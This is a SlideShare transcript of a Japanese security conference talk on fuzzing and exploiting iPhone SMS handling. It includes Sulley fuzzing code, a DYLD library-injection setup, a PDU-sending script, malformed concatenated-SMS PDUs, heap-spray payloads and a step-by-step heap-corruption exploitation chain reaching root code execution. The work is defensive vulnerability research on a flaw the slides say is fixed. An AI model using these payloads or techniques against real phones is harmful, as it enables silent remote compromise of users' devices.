sms_fuzzing_exploita..
Upcoming SlideShare
Loading in...5
×
 

sms_fuzzing_exploita..

on

  • 1,557 views

 

Statistics

Views

Total Views
1,557
Views on SlideShare
1,557
Embed Views
0

Actions

Likes
1
Downloads
6
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    sms_fuzzing_exploita.. sms_fuzzing_exploita.. Presentation Transcript

    • iPhone SMS ファジングとエクスプロイト
      • Charlie Miller
      • Independent Security Evaluators
      • [email_address]
      • Follow me on twitter: 0xcharlie
    • 自己紹介
      • Independent Security Evaluators 主席アナリスト
      • iPhone 、第 1 世代 Android を世界で初めてハック
      • 「仮想世界」 (Second Life) を世界で初めてハック
      • 2008 年、 2009 年 Pwn2Own 優勝
      • 著書 Mac Hacker’s Handbook
    • 内容について
      • Collin Mulliner との共同作業
    • アジェンダ
      • iPhone の基本
      • SMS
      • Sulley と SMS ファジング
      • SMS インジェクション
      • SMS エクスプロイト
    • iPhone の背景知識
    • セキュリティアーキテクチャの概要
      • 攻撃対象面の減少
      • 機能を限定した OS
      • コード署名
      • ランダマイゼーション ( の欠如 )
      • サンドボックス
      • メモリプロテクション
    • iPhone 研究の歴史
      • iPhone 1.0 - 2007 年 6 月
        • すべてが root 権限で実行
        • サンドボックスはない
        • ASLR(Address Space Layout Randomization 、アドレス空間レイアウトのランダム化 )/DEP 機能もない
        • コード署名もない
        • 数週間のうちにハックされた
        • リモートエクスプロイトは少なくとも 3 個公開されている
    • iPhone 2.0
      • 2008 年 7 月にリリース
      • App Store と SDK を含む
      • App サンドボックス
      • DEP 機能あり、 ASLR なし
      • コード署名
      • ほとんどのアプリケーションはユーザ mobile で実行
      • セキュリティのメジャーアップグレード!
      • DEP は回避可能
    • 最大の注目点
      • iPhone 2.0 以降、公開されたリモートエクスプロイトはない
      • Pwn2Own でも陥落せず
    • iPhone 3.0
      • MMS の追加
      • DEP が回避されるバグを修正 ( 後述 )
      • しかし、今回も ASLR はなし
      • 通常の Snow Leopard と比較すると断然セキュア
    • SMS
    • SMS
      • コントロールチャンネルによけいに帯域を使う ( 通話、ステータスなど )
      • メッセージデータは 140 バイト以下 (7 ビットキャラクター 160 文字 )
      • 一般的に「テキストメッセージ」として使用される
      • バイナリデータも扱える
        • OTA プログラミング
        • リングトーン
      • 携帯電話サービスの重要構成要素
    • SMS を対象にする理由
      • SMS はほぼすべての携帯電話で使用されている
      • ファイアーウォールでは着信やテキストの受信を妨げずにブロックできない
      • SMS はユーザの介入なしに処理される
        • ファイアーウォールなしのサーバサイド攻撃面って、まるで 1990 年代にそっくり!
      • 攻撃に必要なのは電話番号のみ
      • ネットワークにおける SMS ファイアーウォール / フィルターは存在するが、この攻撃をブロックするのに携帯電話上で実装するにはプロトコルスタックのかなり上になってしまう
    • デバイスの内部
      • 携帯電話にはアプリケーションとモデムに 2 つのプロセッサが搭載
      • モデムには特殊なリアルタイム OS が搭載され、セルラーネットワークとの通信を担当
      • CPU 間の通信は論理シリアルライン経由
      • テキストベースの GSM AT コマンドセット
    • SMS の仕組み
      • モデムに SMS が届くと、モデムは unsolicited AT コマンド結果コードを使用する
      • 2 行のテキストから構成される
        • 結果コードと次の行のバイト数
        • 実際の SMS メッセージ (PDU モード )
      +CMT: ,300791947106004034040D91947196466656F80000901082114215400AE8329BFD4697D9EC377D
    • PDU 07 91 947106004034 04 0D 91 947196466656F8 00 00 90108211421540 0A E8329BFD4697D9EC377D フィールド サイズ バイト SMSC アドレス長 1 byte 07 アドレスのタイプ 1 byte 91 SMSC アドレス 可変長 947106004034 DELIVER 1 byte 04 送信者アドレス長 1 byte 0D 送信者アドレスタイプ 1 byte 91 送信者アドレス 可変長 947196466656F8 TP-PID 1 byte 00 TP-DCS 1 byte 00 TP-SCTS 7 bytes 90108211421540 TP-UDL 1 byte 0A TP-UD 可変長 AE8329BFD4697D9EC377D
    • さらに
      • 前述の PDU はもっとも単純なメッセージで、 7 ビット緊急アラート ( つまり、テキストメッセージ )
      • UD フィールドでバイナリデータも送信可能
      • この先頭はユーザデータヘッダ (UDH)
    • UDH の例 05 00 03 000301 フィールド サイズ バイト UDHL 1 byte 05 IEI 1 byte 00 IEDL 1 byte 03 IED 可変長 000301
    • UDH の例 1
      • 結合されたメッセージ
        • 160 バイト以上送信可能
        • IEI = 00 -> 8 ビット参照番号で結合
        • IEDL = 03 -> 3 バイトデータ
        • 参照番号 = 00
        • メッセージ数 = 03
        • このメッセージの番号 = 01
      05 00 03 00 03 01
    • その他の一般的な UDH IEI
      • IEI 01 = ボイスメールがある
      • IEI 05 = ポート番号 ( アプリケーションが登録できる )
        • ポート 5499 = 映像ボイスメール
        • allntxacds12.attwireless.net:5400?f=0&v=400&m=XXXXXXX&p=&s=5433&t=4:XXXXXXX:A:IndyAP36:ms01:client:46173
        • ポート 2948 = WAP プッシュ
    • PDU Spy http://www.nobbi.com/pduspy.html
    • Sulley と SMS ファジング
    • Sulley
      • Pedram Amini と Aaron Portnoy による Python のファジングフレームワーク
      • テストケースの生成、テストケース送信、ターゲットモニタリング、事後検証
        • 今回はテストケースの生成機能だけを使用
      • ブロックベースのアプローチでプロトコル内部にまで潜りこむ
      • 文字列と整数をファジングするのに効率的なライブラリ
      • SPIKE 以上 PEACH 未満
    • Sulley の例 : SMSC 番号 s_size("smsc_number", format="oct", length=1, math=lambda x: x/2)if s_block_start("smsc_number"): s_byte(0x91, format="oct", name="typeofaddress") if s_block_start("smsc_number_data", encoder=eight_bit_encoder): s_string("x94x71x06x00x40x34", max_len = 256) s_block_end()s_block_end() フィールド サイズ バイト SMSC アドレス長 1 byte 07 アドレスのタイプ 1 byte 91 SMSC アドレス 可変長 947106004034
    • Sulley の例 : UDH if s_block_start("eight_bit", dep="tp_dcs", dep_values=["04"]): s_size("message_eight", format="oct", length=1, math=lambda x: x / 2) if s_block_start("message_eight"): s_size("udh_eight", format="oct", length=1, math=lambda x: x / 2) if s_block_start("udh_eight"): s_byte(0x00, format="oct", fuzzable=True) s_size("ied_eight", format="oct", length=1, math=lambda x: x / 2) if s_block_start("ied_eight", encoder=eight_bit_encoder): s_string("x00x03x01", max_len = 256) s_block_end() s_block_end() if s_block_start("text_eight", encoder=eight_bit_encoder): s_string(" Test12345BlaBlubber231...Collin", max_len = 256) s_block_end() s_block_end()s_block_end() フィールド サイズ バイト UDHL 1 byte 05 IEI 1 byte 00 IEDL 1 byte 03 IED 可変長 000301
    • SMS インジェクション
    • テストケースの送信
      • 実際の携帯網を使うこともできるが
        • 料金が発生
        • 電話会社に見つかる可能性
        • 電話会社の機材をクラッシュさせる可能性も
      • 独自にトランスミッターを作ることもできるが
        • むずかしそう!
      • パースするプロセスに直接突っ込むという手もあるが
        • 特定のデバイスやファームウェアに依存してしまう
    • SMS インジェクション
      • アプリケーションプロセッサとモデムプロセッサ間で中間者攻撃する
      • すばやくメッセージを送信可能
      • 料金が発生しない
      • 特殊な機材も不要
      • 受け取る側のプロセスはメッセージが正しいかどうかわからない
      • 電話会社にも ( おそらく ) ばれないはず
      • ただし、この結果は実際のキャリアネットワークで確認する必要あり
    • 中間者攻撃
      • ライブラリプレローディングで基本 API をフック
        • open, read, write
      • com.apple.CommCenter.plist:
      • ...
      • <key>EnvironmentVariables</key><dict><key>DYLD_FORCE_FLAT_NAMESPACE</key> <string>1</string>
          • <key>DYLD_INSERT_LIBRARIES</key><string>/System/Library/Test/libopen.0.dylib</string>
      • </dict>
      • ...
    • PDU の送信 def send_pdu(ip_address, line):leng = (len(line) / 2) - 8buffer = &quot; +CMT: ,%d %s &quot; % (leng, line)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip_addresss, 4223))s.send(buffer)s.close()
    • SMS のバグとエクスプロイト
    • 潜在的なバグから攻撃へ
      • インジェクションによるバグは必ずしもネットワーク越しに送信できるとは限らない
        • ファジング結果をネットワーク越しに送信テスト
        • ネットワーク越しに送信できるメッセージが本物の攻撃になりうる
      • 小さい iPhone アプリケーションを作成
        • SSH でログインしながら容易にテスト
        • モバイルターミナルを使ったデモツールに最適
      • 異なる事業者でテスト
        • 事業者によってはすべてのメッセージが許可されていないことも
        • ネットワークによっては攻撃できないことがある
    • ネットワーク越しに送信
      • /dev/tty.debug をオープン
      • AT コマンドを読み書きし、メッセージを送信
    • iPhone CommCenter の 脆弱性 Process: CommCenter [900]Path: /System/Library/PrivateFrameworks/CoreTelephony.framework/Support/CommCenterIdentifier: CommCenterVersion: ??? (???)Code Type: ARM (Native)Parent Process: launchd [1]Date/Time: 2009-06-16 03:36:27.698 -0500OS Version: iPhone OS 2.2 (5G77)Report Version: 103Exception Type: EXC_BAD_ACCESS (SIGBUS)Exception Codes: KERN_PROTECTION_FAILURE at 0x303434fcCrashed Thread: 6... Thread 6 Crashed:0 libstdc++.6.dylib 0x30069da8 __gnu_cxx::__exchange_and_add(int volatile*, int) + 121 libstdc++.6.dylib 0x30053270 std::basic_string<char, std::char_traits<char>, std::allocator<char> >::_Rep::_M_dispose(std::allocator<char> const&) + 362 libstdc++.6.dylib 0x30053330 std::basic_string<char, std::char_traits<char>, std::allocator<char> >::assign(std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) + 1563 CommCenter 0x00039d7e 0x1000 + 232830 3.0.1 で修正済み
    • “ Listen, and understand. That exploit is out there. It can‘t be bargained with. It can’t be reasoned with. It doesn‘t feel pity, or remorse, or fear. And it absolutely will not stop, ever, until you are pwned”... カイルリース 映画ターミネーターより 040003XXXX
    • 詳しく見てみよう
    • 問題
      • Read_next_byte は次の ( デコードされた ) バイト、もしくはデータがなければ -1 を返す
      • 十分なデータが明示的にチェックされないため、このようなことが可能になる
        • このメッセージの番号を -1 に
        • メッセージの総数と「このメッセージの番号」を -1 に
        • もしくは、任意のフィールドを ...
    • バグ (This msg = -1) 0791947106004034C40D91947196466656F800049010821142154004 04 00 03 01 20
    • 「この」メッセージの番号
      • 文字列長のサイズで C++ 文字列の配列が割り当てられる
      • 結合されたメッセージが到着すると、この配列の (This number - 1) にインデックスする
        • 大きすぎず、 0 でないと明示的にチェックされる
        • 「このメッセージの番号」が -1 なら配列をアンダーフローする
      • この文字列がヌル文字列と比較される
        • 等しくない場合、この番号のメッセージは受信済みであるから、メッセージは無視される
        • 等しい場合、配列の文字列にメッセージデータを代入する
    • 比較
    • ヌル文字列との比較
      • このテストをパスする方法は、0の「長さ」を持つことだけ
      • この長さはバッファの最初の dword にある
      • ( ポインタから -0xc の位置 )
      • テストをパスするには ptr - 0xc が 00000000 であればよい
    • 代入
    • 代入
      • 古いデータを新しいデータで置き換え
      • 長さの調整
      • 古いデータは破棄
        • ( ポインタ – 0x4 の ) 参照カウンタを減少
        • ( ポインタ – 0xc から ) バッファを free()
    • 必要なのは2つ
      • ステップ 1: 文字配列の前に dword ( ポインタ ) をコントロールする ( 本当に必要なのは array[-2])
      • ステップ 2: それを 00000000 で始まるメモリに指す
        • これでポインタ +8 で dword をデクリメントできる
        • ポインタの free() もできる
      • エクスプロイトにはこの 2 つのうちどちらかで十分
      • が、 SMS だけでヒープ操作は可能か?
    • 結合したメッセージ、ふたたび
      • 新しく参照番号があらわれるたびに、文字配列が割り当てられる ( サイズは全体の長さ * 4)
      • この参照番号に相当するメッセージがあらわれるたびに、データを格納するのに文字列が割り当てられる
        • サイズが 0x2d, 0x4d, 0x8d, 0x10d のバッファ
      • 結合したメッセージが完了すると
        • すべてのメッセージが届いた後に、このポインタはすべて free() される
        • 文字列は 1 つの大きな文字列に追加される
        • その後すぐに free() される
    • 対ヒープ武器
      • バッファに 144 のデータを割り当てられる (SMS メッセージのデータ )
        • free() の実行およびタイミングをコントロールできる
      • 違うサイズのポインタのバッファを C++ 文字列に割り当てられる ( サイズは 1024 bytes まで )
        • free() の実行およびタイミングをコントロールできる
      • 36KB までの長い文字列データを生成でき、 ただちに free() できる
      これだけ!だが、まだ不十分
    • OS X のメモリ管理
      • リージョンの種類
        • タイニー : 割り当て が 0x1f0 以下 (496 bytes)
        • スモール : 0x1f0 < 割り当て <= 0x3c00 (15,360 bytes)
        • 他にも 2 つあるが、 SMS では使わない ...
      • 各リージョンが free() されたポインタのリストを保持
      • malloc は、 free() されたポインタの中から新しいバッファを保持できるサイズのポインタを返す
      • そのバッファが必要なサイズより大きければ、残りは小さなスロットとして free() されたリストに戻される
    • 1 回 140 バイトのヒープスプレー
      • メッセージ総数が多く、異なる参照番号には、異なる「このメッセージの番号」での SNS メッセージを多数送信
      • (0x90 byte のバッファに ) 任意のバイナリデータを含む 140 = 0x8c バイトを割り当てられる
      • 8-bit リファレンス : 0x90 * 254 メッセージ * 255 リファレンス番号 = 9 MB
      • 16-bit リファレンス : 2GB 以上
      • このメッセージには終わりがないので、メッセージを受信していても画面には何も現れない!
    • 0791947106004034C40D91947196466656F800049010821142154086050003f064 01 4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141 0791947106004034C40D91947196466656F800049010821142154086050003f064 02 4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141 0791947106004034C40D91947196466656F800049010821142154086050003f064 03 4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141 00337fdc | 41414141 41414141 41414141 41414141 00337fec | 41414141 41414141 41414141 41414141 00337ffc | 41414141 41414141 41414141 41414141 0033800c | 41414141 41414141 41414141 41414141 0033801c | 41414141 41414141 41414141 41414141 0033802c | 41414141 41414141 41414141 41414141 0033803c | 41414141 41414141 41414141 41414141 0033804c | 00000000 00000080 00000080 00000000 0033805c | 41414141 41414141 41414141 41414141 0033806c | 41414141 41414141 41414141 41414141 0033807c | 41414141 41414141 41414141 41414141 0033808c | 41414141 41414141 41414141 41414141 0033809c | 41414141 41414141 41414141 41414141 003380ac | 41414141 41414141 41414141 41414141 003380bc | 41414141 41414141 41414141 41414141 003380cc | 41414141 41414141 41414141 41414141 003380dc | 00000000 00000080 00000080 00000000 003380ec | 41414141 41414141 41414141 41414141 003380fc | 41414141 41414141 41414141 41414141 0033810c | 41414141 41414141 41414141 41414141 0033811c | 41414141 41414141 41414141 41414141 0033812c | 41414141 41414141 41414141 41414141 0033813c | 41414141 41414141 41414141 41414141 0033814c | 41414141 41414141 41414141 41414141 ...
    • さらに
      • 2 つの異なる参照番号のメッセージを送信すれば、ちょっとしたヒープ風水も可能
        • Ref1, This 1
        • Ref2, This 1
        • Ref1, This 2
        • ...
      • このうち 1 つを「完了」させ、バッファを free () する
      • これでヒープに「ホール」が作れる
    • モバイルヒープ風水 30052820> dd 008293e0 008293e0 | 41414141 41414141 41414141 41414141 008293f0 | 41414141 41414141 41414141 41414141 00829400 | 38012fbc 38012fbc 38012fbc 38012fbc 00829410 | 38012fbc 38012fbc 38012fbc 38012fbc 00829420 | 38012fbc 38012fbc 38012fbc 38012fbc 00829430 | 38012fbc 38012fbc 38012fbc 38012fbc 00829440 | 38012fbc 38012fbc 38012fbc 38012fbc 00829450 | 38012fbc 38012fbc 38012fbc 38012fbc ACCESS VIOLATIONr0=00053268 r1=00053268 r2=0032c7c0 r3=00829400 r4=0032c7c0 r5=00036bc5 r6= 41414141 r7=00603a68 r8=00053268 r9=0082a200 r10=00000000 r11=00000000 r12=00063014 sp=00603a50 lr=00039d3f pc=30052820 ctrl=20000010 libstdc++.6.dylib!__ZNKSs7 compare EPKc+1c:pc=30052820 0c 50 16 e5 ldr r5, [r6, -#12] array[-2] array ヒープホール
    • デクリメント対象は ?
      • 直前がゼロ dword のもの
      • 不変で推測可能なアドレスであるのが条件
      • デクリメントすれば便利なはず
      • free() 済みリストのポインタ!
        • 送ったデータを指すようにデクリメントすると、 malloc による再利用時にアンリンクされる
        • これで write-4 プリミティブが手に入る
    • 目標
      • データはアンダーフロー可能な C++ 文字列配列の直前 ( 攻撃者の支配下にあるポインタを読めるように )
      • free() 済みリストのポインタの前にデータはある
        • ( このポインタは常に free() 済みリストの先頭に必ずある )
      • free() 済みリストにあるポインタがデータを指すように、ポインタをデクリメントする
      • free() 済みのポインタを使うようにアロケーションを実行する
      • このバッファは free() 済みリストからアンリンクされ、 write-4 が手に入る ( メタデータを支配下に )
      • グローバルオフセットテーブルに対して write-4 を実行
      • 関数ポインタをコール
    • エクスプロイト
      • メッセージ 1: 短い結合したメッセージを割り当てる ( タイニーリージョンが使われるように )
      • メッセージ 2, 3: ある n に対し、結合したメッセージ n/(n+1) を割り当てる
      • メッセージ 3: 結合したメッセージ1つの n/n を割り当てる
      • メモリに穴をあけ、 さらに free() リストもクリア
      • メッセージ 1 の最後のビットを送信し、 free() リストに載せる (free() 済みリストには小さいポインタが待ち構えている )
        • これがデクリメントの対象
      • 「このメッセージ番号」が -1 の 16 通のメッセージを新規作成
        • それぞれが free() 済みリストにデクリメントを 1 回実行
      • サイズが 0x7b の配列リクエストを送信
    • データ
      • write-4 のデモ :
        • 42424242 fecabeba bb6fabf7 dc800f00
        • unchecksum(0xf7ab6fbb) = 0xdeadbee0
        • 0x000f80dc は free() リストの string+4 を指す
      • ライブホットアクション :
        • 42424242 fecabeba a78c01c0 dc800f00
        • unchecksum(0xc0018ca7) = 0x63290 = pthread_mutex_lock
    • Write-4 ACCESS VIOLATION r0=00000001 r1=00003be9 r2= deadbee0 r3= babecafe r4=000f8000 r5=0033be80 r6=00000001 r7=0060393cr8=000f80d8 r9=0082a000 r10=0000001f r11=f7ab6fbbr12=fff00000 sp=00603920 lr=314559b4 pc=31455a80ctrl=a0000010libSystem.B.dylib! _tiny_malloc_from_free_list +240:pc=31455a80 00 30 82 15 strne r3, [r2] 31467aa4> dd 000f805c000f805c | 00329530 00329b50 00337770 00310740000f806c | 00000000 00000000 00000000 00000000000f807c | 00339190 00000000 0032ac10 00000000000f808c | 00000000 00000000 00000000 00000000000f809c | 00324990 003290f0 00000000 00000000000f80ac | 00000000 003295d0 00322900 00000000000f80bc | 00000000 00000000 00000000 00000000000f80cc | 00000000 00000000 00000000 0033be80 31467aa4> dd 0033be800033be80 | babecafe f7ab6fbb 000f80dc 00000000 0033be90 | c0000003 c00c9557 00330041 00000000... Free() テーブル 本物のヒープメタデータ
    • 夢が現実に ACCESS VIOLATIONr0=00305240 r1=00000006 r2=0005b1f0 r3=00305214r4=00305210 r5=00603a6c r6=00000006 r7=00603a38r8=00000000 r9=0082a600 r10=00000000 r11=00000000r12=00063290 sp=00603a38 lr=00044adb pc=babecafc ctrl=00000010AudioToolbox!_gSystemSoundList+7e3712dc:pc=babecafc ??? ユーザの介入は不要で、 サンドボックス外の root 権限で実行
    • まとめると
      • SMS メッセージ 519 通 (1 通 / 秒 )
      • ユーザが目にするのは 1 つだけ
      • 必要に応じて CommCenter の再起動も可能 ( 状態をリセット )
      • いくらでもエクスプロイトは実行でき、被害者側はなす術はない
    • 結論
      • SMS のバグは深刻
      • SMS によるヒープ操作は困難だが可能
      • SMS ファジングはローカルネットワークで可能
      • iPhone はセキュアになっているが、 ASLR はない
    • ご質問は ?
      • ご連絡は [email_address]  まで